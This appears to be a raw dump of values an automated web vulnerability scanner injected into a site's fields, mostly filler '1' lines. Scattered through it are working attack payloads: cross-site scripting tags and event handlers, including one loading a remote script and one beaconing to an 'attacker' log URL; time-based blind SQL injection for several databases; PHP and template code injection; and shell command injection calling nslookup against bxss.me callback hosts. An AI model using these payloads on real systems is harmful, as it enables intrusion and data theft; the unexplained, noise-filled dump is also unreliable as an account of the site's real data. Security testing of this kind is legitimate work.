1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1'"()&%<acx><ScRiPt >DUTp(9693)</ScRiPt>
1
1
1
1
1
1
1
1
;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'));
1
1
1
1
1
1
';print(md5(31337));$a='
1
1
1
1
1
1
";print(md5(31337));$a="
1
1
1
1
1
1
'"()&%<acx><ScRiPt >DUTp(9888)</ScRiPt>
${@print(md5(31337))}
1
1
1
1
1
1
${@print(md5(31337))}\
1
1
1
1
1
1
'.print(md5(31337)).'
1
1
1
1
1
1
1
1
1
1
1
1
HttP://bxss.me/t/xss.html?%00
1
19431738
1
1
1
1
1
1
bxss.me/t/xss.html?%00
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
create
1
1
1
1
1
1
/xfs.bxss.me
create
1
1
1
1
1
1
create/.
1
1
1
'"
1
1
1
1
1
1
1
<!--
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
${9999918+9999011}
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
acu9702＜s1﹥s2ʺs3ʹuca9702
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
acux3446
1
1
1
1
1
http://some-inexistent-website.acu/some_inexistent_file_with_long_name?.jpg
1
1
1
1
1
1
1some_inexistent_file_with_long_name .jpg
1
1
1
1
1
1
1
Http://bxss.me/t/fit.txt
1
1
1
1
1
http://bxss.me/t/fit.txt?.jpg
1
1
<%={{={@{#{${acx}}%>
1
1
1
1
12345'"\'\");|]* { < >
bxss.me
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
<th:t="${acx}#foreach
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1}}"}}'}}1%>"%>'%><%={{={@{#{${acx}}%>
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
acx{{98991*97996}}xca
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
acx[[${98991*97996}]]xca
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
acx__${98991*97996}__::.x
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
"acxzzzzzzzzbbbccccdddeeexca".replace("z","o")
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
19830"();}]9282
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
%31%39%33%32%37%22%28%29%3B%7D%5D%39%35%35%30
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1</script><script>DUTp(9780)</script>
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
DJxNMuw7
-1 OR 2+96-96-1=0+0+0+1 --
-1 OR 2+665-665-1=0+0+0+1
-1' OR 2+369-369-1=0+0+0+1 --
-1' OR 2+361-361-1=0+0+0+1 or 'zos3UQZ3'='
-1" OR 2+396-396-1=0+0+0+1 --
1
if(now()=sysdate(),sleep(15),0)
0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z
0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
-1; waitfor delay '0:0:15' --
-1); waitfor delay '0:0:15' --
1 waitfor delay '0:0:15' --
U5cA8vy1'; waitfor delay '0:0:15' --
-5 OR 10=(SELECT 10 FROM PG_SLEEP(15))--
-5) OR 48=(SELECT 48 FROM PG_SLEEP(15))--
-1)) OR 382=(SELECT 382 FROM PG_SLEEP(15))--
onTwa2EU' OR 113=(SELECT 113 FROM PG_SLEEP(15))--
F8jmA81t') OR 149=(SELECT 149 FROM PG_SLEEP(15))--
mB2m82BU')) OR 27=(SELECT 27 FROM PG_SLEEP(15))--
1
1*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
1
1'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
1'"
1
bEXxpOqi
@@7qPsQ
-1 OR 2+855-855-1=0+0+0+1 --
-1 OR 2+507-507-1=0+0+0+1
-1' OR 2+669-669-1=0+0+0+1 --
-1' OR 2+847-847-1=0+0+0+1 or 'LEw9z74c'='
-1" OR 2+735-735-1=0+0+0+1 --
1
if(now()=sysdate(),sleep(15),0)
1
0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z
1
1
1
1
0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z
1
1
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
1
-1; waitfor delay '0:0:15' --
1
-1); waitfor delay '0:0:15' --
1
1 waitfor delay '0:0:15' --
1
arbnFuV4'; waitfor delay '0:0:15' --
1
1
-5 OR 651=(SELECT 651 FROM PG_SLEEP(15))--
1
1
1
-5) OR 165=(SELECT 165 FROM PG_SLEEP(15))--
1
-1)) OR 496=(SELECT 496 FROM PG_SLEEP(15))--
1
V8oBGsag' OR 317=(SELECT 317 FROM PG_SLEEP(15))--
1
4H51DgXf') OR 896=(SELECT 896 FROM PG_SLEEP(15))--
1
1
1
1
4cGUrFye')) OR 971=(SELECT 971 FROM PG_SLEEP(15))--
1
1*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
1
1'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
1'"
1
@@Arf1c
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1'"()&%<acx><ScRiPt >Ifqb(9293)</ScRiPt>
1
'"()&%<acx><ScRiPt >Ifqb(9357)</ScRiPt>
1
19469813
acu3163%EF%BC%9Cs1%EF%B9%A5s2%CA%BAs3%CA%B9uca3163
acux5026%C0%BEz1%C0%BCz2a%90bcxuca5026
<%={{={@{#{${acx}}%>
<th:t="${acx}#foreach
1}}"}}'}}1%>"%>'%><%={{={@{#{${acx}}%>
acx{{98991*97996}}xca
acx[[${98991*97996}]]xca
1
acx__${98991*97996}__::.x
"acxzzzzzzzzbbbccccdddeeexca".replace("z","o")
1<ScRiPt >Ifqb(9209)</ScRiPt>
1<WOXT9X>QA84M[!+!]</WOXT9X>
1<script>Ifqb(9396)</script>
1%3C%53%63%52%3C%53%63%52%69%50%74%3E%49%70%54%3E%49%66%71%62%28%39%37%30%39%29%3C%2F%73%43%72%3C%53%63%52%69%50%74%3E%49%70%54%3E
1<ScRiPt >Ifqb(9905)</ScRiPt>
1
1<ScRiPt/acu src=//xss.bxss.me/t/xss.js?9934></ScRiPt>
1< ScRiPt >Ifqb(9673)</ScRiPt>
1<svg
1<isindex type=image src=1 onerror=Ifqb(9072)>
1<iframe src='data:text/html;base64,PHNjcmlwdD5hbGVydCgnYWN1bmV0aXgteHNzLXRlc3QnKTwvc2NyaXB0Pgo=' invalid='9652'>
1<body onload=Ifqb(9905)>
1
1<img src=//xss.bxss.me/t/dot.gif onload=Ifqb(9940)>
1<img src=xyz OnErRor=Ifqb(9794)>
1<img/src=">" onerror=alert(9674)>
%31%3C%53%63%52%69%50%74%20%3E%49%66%71%62%289696%29%3C%2F%73%43%72%69%70%54%3E
1\u003CScRiPt\Ifqb(9339)\u003C/sCripT\u003E
1<ScRiPt>Ifqb(9465)</sCripT>
1
1<input autofocus onfocus=Ifqb(9284)>
<a HrEF=http://xss.bxss.me></a>
<a HrEF=jaVaScRiPT:>
1
1}body{acu:Expre/**/SSion(Ifqb(9731))}
1Ec6hA <ScRiPt >Ifqb(9145)</ScRiPt>
1<WSBGQQ>DX32A[!+!]</WSBGQQ>
1
1<ifRAme sRc=9454.com></IfRamE>
1<aPl5j7y x=9297>
1
1<img sRc='http://attacker-9689/log.php?
1<aPehbcA<
1
1
1
1
1
1'"()&%<acx><ScRiPt >NFV6(9794)</ScRiPt>
'"()&%<acx><ScRiPt >NFV6(9000)</ScRiPt>
19152955
acu9099%EF%BC%9Cs1%EF%B9%A5s2%CA%BAs3%CA%B9uca9099
acux10758%C0%BEz1%C0%BCz2a%90bcxuca10758
<%={{={@{#{${acx}}%>
<th:t="${acx}#foreach
1}}"}}'}}1%>"%>'%><%={{={@{#{${acx}}%>
acx{{98991*97996}}xca
acx[[${98991*97996}]]xca
acx__${98991*97996}__::.x
"acxzzzzzzzzbbbccccdddeeexca".replace("z","o")
1<ScRiPt >NFV6(9682)</ScRiPt>
1<WCXXEO>TKMIN[!+!]</WCXXEO>
1<script>NFV6(9050)</script>
1%3C%53%63%52%3C%53%63%52%69%50%74%3E%49%70%54%3E%4E%46%56%36%28%39%32%37%35%29%3C%2F%73%43%72%3C%53%63%52%69%50%74%3E%49%70%54%3E
1<ScRiPt >NFV6(9027)</ScRiPt>
1<ScRiPt/acu src=//xss.bxss.me/t/xss.js?9209></ScRiPt>
1< ScRiPt >NFV6(9346)</ScRiPt>
1<svg
1<isindex type=image src=1 onerror=NFV6(9106)>
1<iframe src='data:text/html;base64,PHNjcmlwdD5hbGVydCgnYWN1bmV0aXgteHNzLXRlc3QnKTwvc2NyaXB0Pgo=' invalid='9557'>
1<body onload=NFV6(9824)>
1<img src=//xss.bxss.me/t/dot.gif onload=NFV6(9289)>
1<img src=xyz OnErRor=NFV6(9205)>
1<img/src=">" onerror=alert(9300)>
%31%3C%53%63%52%69%50%74%20%3E%4E%46%56%36%289127%29%3C%2F%73%43%72%69%70%54%3E
1\u003CScRiPt\NFV6(9097)\u003C/sCripT\u003E
1<ScRiPt>NFV6(9995)</sCripT>
1<input autofocus onfocus=NFV6(9955)>
<a HrEF=http://xss.bxss.me></a>
<a HrEF=jaVaScRiPT:>
1}body{acu:Expre/**/SSion(NFV6(9201))}
1s78GK <ScRiPt >NFV6(9126)</ScRiPt>
1<WRJNDB>T75VT[!+!]</WRJNDB>
1<ifRAme sRc=9967.com></IfRamE>
1<aI7yPN2 x=9009>
1<img sRc='http://attacker-9152/log.php?
1<awFbELZ<
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1NdUvzibF
1
-1 OR 2+472-472-1=0+0+0+1 --
-1 OR 2+301-301-1=0+0+0+1
-1' OR 2+570-570-1=0+0+0+1 --
-1' OR 2+530-530-1=0+0+0+1 or 'kHVO0Irx'='
-1" OR 2+141-141-1=0+0+0+1 --
1*if(now()=sysdate(),sleep(15),0)
10'XOR(1*if(now()=sysdate(),sleep(15),0))XOR'Z
10"XOR(1*if(now()=sysdate(),sleep(15),0))XOR"Z
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
1-1; waitfor delay '0:0:15' --
1-1); waitfor delay '0:0:15' --
1-1 waitfor delay '0:0:15' --
10YDmb58q'; waitfor delay '0:0:15' --
1-1 OR 365=(SELECT 365 FROM PG_SLEEP(15))--
1-1) OR 676=(SELECT 676 FROM PG_SLEEP(15))--
1-1)) OR 57=(SELECT 57 FROM PG_SLEEP(15))--
1WMLdRSDr' OR 624=(SELECT 624 FROM PG_SLEEP(15))--
1n8YsR0eF') OR 639=(SELECT 639 FROM PG_SLEEP(15))--
1II8giiDa')) OR 441=(SELECT 441 FROM PG_SLEEP(15))--
1*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
1'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
'"
@@mUPGV
1
echo bqxafu$()\ gmzqky\nz^xyu||a #' &echo bqxafu$()\ gmzqky\nz^xyu||a #|" &echo bqxafu$()\ gmzqky\nz^xyu||a #
&echo zlkbpc$()\ ypcscz\nz^xyu||a #' &echo zlkbpc$()\ ypcscz\nz^xyu||a #|" &echo zlkbpc$()\ ypcscz\nz^xyu||a #
|echo gechad$()\ elmyhj\nz^xyu||a #' |echo gechad$()\ elmyhj\nz^xyu||a #|" |echo gechad$()\ elmyhj\nz^xyu||a #
(nslookup hitnnglpfvigh0e1aa.bxss.me||perl -e "gethostbyname('hitnnglpfvigh0e1aa.bxss.me')")
$(nslookup hitygqgyzfxzefc8bf.bxss.me||perl -e "gethostbyname('hitygqgyzfxzefc8bf.bxss.me')")
&(nslookup hitcuuytpwppye7c50.bxss.me||perl -e "gethostbyname('hitcuuytpwppye7c50.bxss.me')")&'\"`0&(nslookup hitcuuytpwppye7c50.bxss.me||perl -e "gethostbyname('hitcuuytpwppye7c50.bxss.me')")&`'
1
|(nslookup hitirnhgkwdyvb5728.bxss.me||perl -e "gethostbyname('hitirnhgkwdyvb5728.bxss.me')")
`(nslookup hitjtobofjxnt4f9e7.bxss.me||perl -e "gethostbyname('hitjtobofjxnt4f9e7.bxss.me')")`
1
;(nslookup hitoavbmumblcf2d54.bxss.me||perl -e "gethostbyname('hitoavbmumblcf2d54.bxss.me')")|(nslookup hitoavbmumblcf2d54.bxss.me||perl -e "gethostbyname('hitoavbmumblcf2d54.bxss.me')")&(nslookup hit
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
echo rljgul$()\ cwqdzn\nz^xyu||a #' &echo rljgul$()\ cwqdzn\nz^xyu||a #|" &echo rljgul$()\ cwqdzn\nz^xyu||a #
&echo ugwecn$()\ obzxst\nz^xyu||a #' &echo ugwecn$()\ obzxst\nz^xyu||a #|" &echo ugwecn$()\ obzxst\nz^xyu||a #
|echo fghomb$()\ tkvykf\nz^xyu||a #' |echo fghomb$()\ tkvykf\nz^xyu||a #|" |echo fghomb$()\ tkvykf\nz^xyu||a #
(nslookup hitwkcvjurouj6b9b7.bxss.me||perl -e "gethostbyname('hitwkcvjurouj6b9b7.bxss.me')")
$(nslookup hitpqcbcpvbvn4f2db.bxss.me||perl -e "gethostbyname('hitpqcbcpvbvn4f2db.bxss.me')")
&(nslookup hitmyjndfoubyca58a.bxss.me||perl -e "gethostbyname('hitmyjndfoubyca58a.bxss.me')")&'\"`0&(nslookup hitmyjndfoubyca58a.bxss.me||perl -e "gethostbyname('hitmyjndfoubyca58a.bxss.me')")&`'
|(nslookup hitgcxevjvkvy5fcaf.bxss.me||perl -e "gethostbyname('hitgcxevjvkvy5fcaf.bxss.me')")
`(nslookup hituptevyvfiaf8126.bxss.me||perl -e "gethostbyname('hituptevyvfiaf8126.bxss.me')")`
;(nslookup hitvzsrhcvdctef814.bxss.me||perl -e "gethostbyname('hitvzsrhcvdctef814.bxss.me')")|(nslookup hitvzsrhcvdctef814.bxss.me||perl -e "gethostbyname('hitvzsrhcvdctef814.bxss.me')")&(nslookup hit
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1iSP8Bjqp
1M5FHpnza
1V3Ysf5D7
1F1RnCkBl
1
-1 OR 2+873-873-1=0+0+0+1 --
-1 OR 2+151-151-1=0+0+0+1
-1' OR 2+260-260-1=0+0+0+1 --
-1' OR 2+196-196-1=0+0+0+1 or '88DGhghi'='
-1" OR 2+299-299-1=0+0+0+1 --
1
1
-1 OR 2+929-929-1=0+0+0+1 --
-1 OR 2+729-729-1=0+0+0+1
-1 OR 2+613-613-1=0+0+0+1 --
-1' OR 2+396-396-1=0+0+0+1 --
-1 OR 2+897-897-1=0+0+0+1
-1' OR 2+622-622-1=0+0+0+1 or 'ajbWe42N'='
-1' OR 2+295-295-1=0+0+0+1 --
-1" OR 2+12-12-1=0+0+0+1 --
-1' OR 2+627-627-1=0+0+0+1 or '3W71AWjR'='
-1" OR 2+800-800-1=0+0+0+1 --
1
-1 OR 2+613-613-1=0+0+0+1 --
-1 OR 2+620-620-1=0+0+0+1
-1' OR 2+290-290-1=0+0+0+1 --
-1' OR 2+305-305-1=0+0+0+1 or 'hebcmeSI'='
-1" OR 2+427-427-1=0+0+0+1 --
1*if(now()=sysdate(),sleep(15),0)
1*if(now()=sysdate(),sleep(15),0)
1*if(now()=sysdate(),sleep(15),0)
1*if(now()=sysdate(),sleep(15),0)
10'XOR(1*if(now()=sysdate(),sleep(15),0))XOR'Z
10'XOR(1*if(now()=sysdate(),sleep(15),0))XOR'Z
10'XOR(1*if(now()=sysdate(),sleep(15),0))XOR'Z
10'XOR(1*if(now()=sysdate(),sleep(15),0))XOR'Z
10"XOR(1*if(now()=sysdate(),sleep(15),0))XOR"Z
10"XOR(1*if(now()=sysdate(),sleep(15),0))XOR"Z
10"XOR(1*if(now()=sysdate(),sleep(15),0))XOR"Z
10"XOR(1*if(now()=sysdate(),sleep(15),0))XOR"Z
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
1-1; waitfor delay '0:0:15' --
1-1; waitfor delay '0:0:15' --
1-1; waitfor delay '0:0:15' --
1-1; waitfor delay '0:0:15' --
1-1); waitfor delay '0:0:15' --
1-1); waitfor delay '0:0:15' --
1-1); waitfor delay '0:0:15' --
1-1); waitfor delay '0:0:15' --
1-1 waitfor delay '0:0:15' --
1-1 waitfor delay '0:0:15' --
1-1 waitfor delay '0:0:15' --
1-1 waitfor delay '0:0:15' --
1rg75JKKA'; waitfor delay '0:0:15' --
1c32Qec0Y'; waitfor delay '0:0:15' --
1rHcsJYSd'; waitfor delay '0:0:15' --
1cLlDZTot'; waitfor delay '0:0:15' --
1-1 OR 275=(SELECT 275 FROM PG_SLEEP(15))--
1-1 OR 246=(SELECT 246 FROM PG_SLEEP(15))--
1-1 OR 751=(SELECT 751 FROM PG_SLEEP(15))--
1-1 OR 532=(SELECT 532 FROM PG_SLEEP(15))--
1-1) OR 880=(SELECT 880 FROM PG_SLEEP(15))--
1-1) OR 524=(SELECT 524 FROM PG_SLEEP(15))--
1-1) OR 250=(SELECT 250 FROM PG_SLEEP(15))--
1-1) OR 282=(SELECT 282 FROM PG_SLEEP(15))--
1-1)) OR 275=(SELECT 275 FROM PG_SLEEP(15))--
1-1)) OR 450=(SELECT 450 FROM PG_SLEEP(15))--
1-1)) OR 811=(SELECT 811 FROM PG_SLEEP(15))--
1-1)) OR 580=(SELECT 580 FROM PG_SLEEP(15))--
12gm8HjlT' OR 480=(SELECT 480 FROM PG_SLEEP(15))--
16uLzOAYY' OR 243=(SELECT 243 FROM PG_SLEEP(15))--
1aiDQqzqR' OR 186=(SELECT 186 FROM PG_SLEEP(15))--
1nFhwy0hp' OR 577=(SELECT 577 FROM PG_SLEEP(15))--
1I9cmCo3c') OR 547=(SELECT 547 FROM PG_SLEEP(15))--
1yhyiUZRa') OR 984=(SELECT 984 FROM PG_SLEEP(15))--
1uMAtHX6N') OR 736=(SELECT 736 FROM PG_SLEEP(15))--
1k83oJ9Rq') OR 225=(SELECT 225 FROM PG_SLEEP(15))--
1mQs55Wez')) OR 743=(SELECT 743 FROM PG_SLEEP(15))--
1dHdLoYjB')) OR 293=(SELECT 293 FROM PG_SLEEP(15))--
1CTD92KOH')) OR 746=(SELECT 746 FROM PG_SLEEP(15))--
1l53IUcts')) OR 125=(SELECT 125 FROM PG_SLEEP(15))--
1*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
1*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
1*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
1*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
1'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
1
1'"
1'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
1
1
@@DvcZh
1'"
1
@@m4eEG
1'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
1
1'"
1
@@5VOD1
1'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
1
1'"
1
@@fGkl6
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1Tm5GoA0q
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
-1 OR 2+871-871-1=0+0+0+1 --
-1 OR 2+92-92-1=0+0+0+1
-1' OR 2+373-373-1=0+0+0+1 --
-1' OR 2+574-574-1=0+0+0+1 or 'oSzke07h'='
1
-1" OR 2+933-933-1=0+0+0+1 --
1
1
1
1
1*if(now()=sysdate(),sleep(15),0)
1
1
1
1
10'XOR(1*if(now()=sysdate(),sleep(15),0))XOR'Z
1
1
1
1
10"XOR(1*if(now()=sysdate(),sleep(15),0))XOR"Z
1
1
1
1
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
1
1
1
1
1-1; waitfor delay '0:0:15' --
1
1
1
1
1-1); waitfor delay '0:0:15' --
1
1
1
1
1-1 waitfor delay '0:0:15' --
1
1
1
1
1CLdWwc1z'; waitfor delay '0:0:15' --
1
1
1
1
1
1-1 OR 33=(SELECT 33 FROM PG_SLEEP(15))--
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1-1) OR 300=(SELECT 300 FROM PG_SLEEP(15))--
1
1
1
1
1-1)) OR 513=(SELECT 513 FROM PG_SLEEP(15))--
1
1
1
1
10nrrUSra' OR 967=(SELECT 967 FROM PG_SLEEP(15))--
1
1
1
1
11L2liIUq') OR 697=(SELECT 697 FROM PG_SLEEP(15))--
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
137iilSqU')) OR 67=(SELECT 67 FROM PG_SLEEP(15))--
1
1
1
1
1*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
1
1
1
1
1'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
1
1'"
1
@@B80xe
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
